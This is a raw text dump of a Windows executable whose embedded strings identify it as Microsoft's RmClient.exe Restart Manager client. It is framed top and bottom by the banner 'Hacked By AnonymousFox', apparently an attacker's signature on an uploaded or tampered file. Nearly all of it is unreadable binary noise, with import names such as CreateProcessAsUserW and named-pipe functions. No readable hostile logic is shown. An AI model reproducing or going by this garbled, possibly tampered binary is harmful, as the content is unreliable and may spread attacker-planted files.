Hacked By AnonymousFox
MZ @ !L!This program cannot be run in DOS mode.
$ n[[[>iZ>iZ>iO>iR[c>iZ>ikZ>iZRich[ PE L d
) 0 @
p @ @ d P 0 ` T @ .text `.data 0 $ @ .idata @ & @ @.rsrc 0 P
. @ @.reloc ` 8 @ B @0@ 0@ 0@ @ @@ @
u P'@ &@ *@ & P' ) ) ) * * 0- `- NULL N U L L
R m C l i e n t . e x e p i p e n a m e
wmain MsgLoop Receive Send OpenPipe SpawnProcess ؛ <7 Ld^=*F,$r$ d % d
, , d 0- RSDSz @t _J!x RmClient.pdb GCTL .rdata$brc .CRT$XCA .CRT$XCAA .CRT$XCZ .CRT$XIA .CRT$XIAA .CRT$XIY .CRT$XIZ ( .gfids .rdata .rdata$sxdata .rdata$zzzdbg .text$mn . \ .xdata$x 0 .data$brc 0 .data 0 .bss @ .idata$5 @ .00cfg @ P .idata$2 4A .idata$3 HA .idata$4 (B .idata$6 P .rsrc$01 P @ .rsrc$02 Uj Qhx@ j+u u$@@ ] Uj jEPjhx@ j+u u$@@ ] Uj jEPj
hx@ j+u u$@@ ] UUVWt~Fu+Fj^u@ j VRQhx@ j+u u$@@ _^] UUVWt~Fu+Fj^u@ j jEPVRQhx@ j+u u$@@ (_^] UQSVu3ɉ]Wt ֍zff;u+<U j
_u@ MtэZBu+Ӌ]BjZu@ j WVRQShx@ j+u u$@@ (_^[] UQUSVW3ۉ]j
^t ʍyff;u+<M u@ Mt"^ff;Eu+34u u@ SjE PWRVQjh<@ j
hx@ j+u u$@@ 8_^[] Uj jEPjEPj h\@ j-hx@ j+u u$@@ 0] UUVWt~Fu+Fj^u@ j jE PjEPjEPVRQhx@ j+u u$@@ 8_^] UMVW3t эrff;u+U j
Zu@ WRQjEPj
hh@ j0hx@ j+u u$@@ 0_^] UQj jEE PjEPjhD@ jhx@ j+u u$@@ 0] ̋UQES3Vu EWttjWXHÊ#u @@ WS@@ WSE @@ UFt Nt^~VF 3_^[] U4 0@ 3ĉ$0 E 3҃L$L$ SVWD$ډT$ h3@ x3@ h3@ `3@ 3@ 3@ `3@ @ 5 0@ FPRRD$(L$(PjQVT$<h@ N @@ 6j Zu3PPjPT@@ 3F9uz 0@ L$
-t/t
\u7|$ 3J?t#ht = 0@ t@ tQppN 0@ 3C|$ F;u| D$Pj^V4@@ P@@ u: 0@ 0@ ;/ @ % H@@ P 0@ h<@ ppj D$ PQD$0L$ Pjt$( @@ u: 0@ 0@ ; @ H@@ P 0@ h<@ ppj t$ D$ D$$D$ PD$(P$8 PD$(P$8 Pt$<j @@ t6 0@ 0@ ;t[@ tUt$ $, Q$8 QQppZ3 0@ 0@ ;t%@ t H@@ P 0@ h<@ ppjYFT$: u+5 0@ ;tF tvvjYY5 0@ -L$ 5 0@ ;tF tWvvG5 0@ |$tt$P@@ 5 0@ ;t* F F tv v @@ f f 6uމ 0@ /@ V@@ $ @ @@ YV@@ YV@@ Y ϋ$< _^[3 ]ËU$ 0@ 3ʼnESVWh j P Dž 33Dž PjF 3ۃ!+ jY+tvt@
0@ = 0@ H hD@ ppjY{s 0@ = 0@ c H Z hD@ ppjYB 0@ = 0@ tH tppjYfd0 jp@@ uj^ QP u- 0@ = 0@ t@ thD@ ppjY_j
^ ;t! 0@ = 0@ t@ thD@ ppjÃ?t! 0@ = 0@ t@ thD@ ppjwd0 jp@@ ujwGPS O W P SVt d0 Wj p@@ td0 Sj p@@ P@@ h j P Dž Dž t ωPj: uX 0@ = 0@ t@ thD@ ppjY ω& 0@ = 0@ t@ tppjYC3 0@ 0@ ;t @ tQVQppO 0@ 0@ tJ;t@ thD@ ppjYO F 0@ = 0@ t8H t3hD@ ppjY$ ;t@ tVhD@ ppj YPNjM_^3[
]ËU$e 3SVW}U33ۉMF9]v
t }ru' 0@ = 0@ t^@ tXhL@ ppj YCj VVj @@@ u8 0@ = 0@ t%@ t H@@ P 0@ hL@ ppj Y3l WX@@ E}PEPuuu,@@ uEH@@ = t8 0@ = 0@ t%@ t H@@ P 0@ hL@ ppj Y13 Vh WCL@@ Eta 0@ = 0@ t.@ t(H@@ Pu 0@ ShL@ ppj Y 0@ r= 0@ t@ thL@ ppj!Yjj EPEPu\@@ u8 0@ = 0@ \@ RH@@ P 0@ hL@ ppj".E Ut
0@ 0@ tA tRhL@ qqj#Y1WP@@ _^[] U$e 3SVW}U33ۉMF9]v
t }ru' 0@ = 0@ t^@ tXhT@ ppj$YvCj VVj @@@ u8 0@ = 0@ t%@ t H@@ P 0@ hT@ ppj%Y}3l WX@@ E}PEPuuu8@@ uEH@@ = t8 0@ = 0@ t%@ t H@@ P 0@ hT@ ppj&Y3 Vh WCL@@ Eta 0@ = 0@ t.@ t(H@@ Pu 0@ ShT@ ppj'Yx 0@ r= 0@ t@ thT@ ppj(YLj EPEPu\@@ u8 0@ = 0@ \@ RH@@ P 0@ hT@ ppj).E Ut
0@ 0@ tA tRhT@ qqj*YWP@@ _^[] U SVW3ҋʉM' f9 0@ = 0@ t @ tSh\@ ppj,YM3Rh @jRRh ASM<@@ uu 0@ 0@ ;t!@ tH@@ Pu 0@ Qpph D@@ Mj Zr 0@ ;t@ tQh\@ ppj.Y jP@@ zj j EE PV0@@ u4 0@ = 0@ t%@ t H@@ P 0@ h\@ ppj/YV37@' 0@ = 0@ t@ th\@ ppj+YK3_^[]ËUlE SV3E EىuW7 / 9u& 9u } jDEVP 3ED }E@ 0@ f953@ uBh h3@ `@@ u. 0@ ;tH@ t$H@@ P 0@ hh@ ppj1Y 0@ ;t@ tShh@ ppj2YEPEPh3@ VuEVVPSVu@@ u6H@@ t* 0@ = 0@ t@ tWhh@ ppj3YREMuP@@ uP@@ % 0@ = 0@ t@ tSRQpp$ _^[] > j(0@ P@@
5@
5@ YY@@
<0@ @@
00@ =0@ u h*@ @@ Yl 3̡80@ h,0@ 540@ ,0@ h 0@ h 0@ h0@ @@ $0@ j h.@ 9 3ۉ]d p5@ 3
t;u3Fh D@@ 3F955@ u
j Y:9 5@ u,55@ h@ h@ YYtE 50@ 955@ uh@ h@ YY5@ u 35@ =5@ t#h5@ YtSjS55@ @@ 5 0@ 5 0@ 50@ 0@ =(0@ u6P@@ M EQP[ YYËeE0@ =(0@ uP@@ =0@ u @@ 0@ E ËUVu3;u s Wu>t
@@ ׃;u r_^]øMZ f9 @ uU
< @ @ PE uC @ f;t f;u( @ v 39 @ Ãt @ v
39 @ 3 ;
0@ u UE 8csmu+xu%@= t=!t="t= @u@@ 3] h)@ x@@ 3%@@ j h.@ 3ɋEtKtFMMZ f9u2P<x+ s#EPE # 3@Ëe3ɉME Uj t@@ t PtH\jXf;t
u3@]ËE]%@@ 3̋UE3SVWH<AYt} p ;r H;r
B(;r3_^[]̋Ujh.@ h0-@ d PSVW0@ 1E3PEd eE h @ z tTE- @ Ph @ Pt:@$ ЃEMd
Y_^[]ËE 3Ɂ8 ËeE3Md
Y_^[]̋UMMZ f9u A<8PE u f9Hu ]3]ËUe e 0@ VWN@ ;tudEPl@@ E3EEh@@ 1Ed@@ 1E|@@ 3EM3EEPp@@ E3E3E;t50@ uO@ȉ
0@ _ 0@ ^]h h @@ YY%@@ h0-@ d5 D$l$l$+SVW0@ 1E3PeuEEEEd ËMd
Y__^[]Q̋Uuuu uh)@ h0@ M ] Uj x@@ u@@ h 4@@ P@@ ]ËU$ @1@
<1@ 81@ 41@ 501@ =,1@ fX1@ f
L1@ f (1@ f$1@ f% 1@ f- 1@ P1@ E D1@ EH1@ ET1@ 0@ H1@ L0@ @0@ D0@ P0@ jXk ǀT0@ jX
0@ T0@ jX
0@ T0@ jXk
0@ LjX
0@ Lh @ ]%@@ %@@ %@@ (@ (@ a*@ e*@ +@ +@ 0@ N@D (B >B RB jB B B B B B B C C 4C HC TC bC rC zC C C C C C C E vE E \E HE *E E E E D D D D D D E xD pD ^D LD >D .D D D D F E E `-@ HA C @ tA D ,@ A D @ B E @ (B >B RB jB B B B B B B C C 4C HC TC bC rC zC C C C C C C E vE E \E HE *E E E E D D D D D D E xD pD ^D LD >D .D D D D F E E pGetTokenInformation LookupAccountSidW CreateProcessAsUserW 5UnregisterTraceGuids RegisterTraceGuidsW OpenProcessToken rGetTraceEnableLevel qGetTraceEnableFlags sGetTraceLoggerHandle (TraceMessage ADVAPI32.dll sReadFile ;SetNamedPipeHandleState GetCurrentProcess WriteFile CreateFileW CreateEventW }Sleep aGetLastError WaitForSingleObjectEx CloseHandle MHeapSetInformation ResetEvent GetOverlappedResult GetSystemWindowsDirectoryW KERNEL32.dll wprintf o _XcptFilter __p__commode _amsg_exit __wgetmainargs __set_app_type exit s_exit $_cexit __p__fmode __setusermatherr _initterm msvcrt.dll 5 ?terminate@@YAXXZ 7_controlfp j_except_handler4_common RtlAllocateHeap RtlFreeHeap ntdll.dll mSetUnhandledExceptionFilter xGetModuleHandleW MQueryPerformanceCounter GetCurrentProcessId GetCurrentThreadId GetSystemTimeAsFileTime GetTickCount UnhandledExceptionFilter TerminateProcess memcpy
memset ( @ X p hW S P M U I <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="5.1.0.0"
processorArchitecture="x86"
name="Microsoft.Windows.RestartManager.RMClient"
type="win32"
/>
<description>Restart Manager Restart Client</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel
level="asInvoker"
uiAccess="false"
/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
4 V S _ V E R S I O N _ I N F O
cE
cE?
S t r i n g F i l e I n f o 0 4 0 9 0 4 B 0 L C o m p a n y N a m e M i c r o s o f t C o r p o r a t i o n n # F i l e D e s c r i p t i o n R e s t a r t M a n a g e r L U A R e s t a r t C l i e n t h $ F i l e V e r s i o n 1 0 . 0 . 1 7 7 6 3 . 1 ( W i n B u i l d . 1 6 0 1 0 1 . 0 8 0 0 ) :
I n t e r n a l N a m e R m C l i e n t . e x e . L e g a l C o p y r i g h t M i c r o s o f t C o r p o r a t i o n . A l l r i g h t s r e s e r v e d . B
O r i g i n a l F i l e n a m e R m C l i e n t . e x e j % P r o d u c t N a m e M i c r o s o f t W i n d o w s O p e r a t i n g S y s t e m >
P r o d u c t V e r s i o n 1 0 . 0 . 1 7 7 6 3 . 1 D V a r F i l e I n f o $ T r a n s l a t i o n Yk.<b8O%isM*r4۩ M U I M U I e n - U S 00D0H0P0X0000)474R4`4{4444455%5n55555)6;6B6P6v6}66666)797@7N7y777777%8O8U8[8`8f8p8v8z8888889 9J9Q9Z9_9w9}99999999):2:7:h:m:}:::::::;;.;B;K;R;Y;_;g;o;;4<9<S<k<p<<<<<==#=L=Q=^=r=w====>>>>>>>>>
??3?M?R?^?~????
000(0.030O0i0s0000000000001 11;1D1I1_1e1j1111111 2(23282F2L2Q2m2222222222223 3 3)363Y3b3g3}333333344"4O4[4`4p4y44444444455%5*5755555555566$6?6T6^6i6n6|666666667
777 7+73797Q7V7\7a7f7k7p7v7~77777777788 8%828A8I8Q8e8m8u8{888888888889+93999F9`9k9u9999::::::(;-;?;];q;w;&<D<S<\<e<z<<<<<<<<B=G=l=u================== > >>> >*>4>D>T>Z>e>k>w>>>>>>>>>>?? 0 0 @ 0
Hacked By AnonymousFox1.0, Coded By AnonymousFox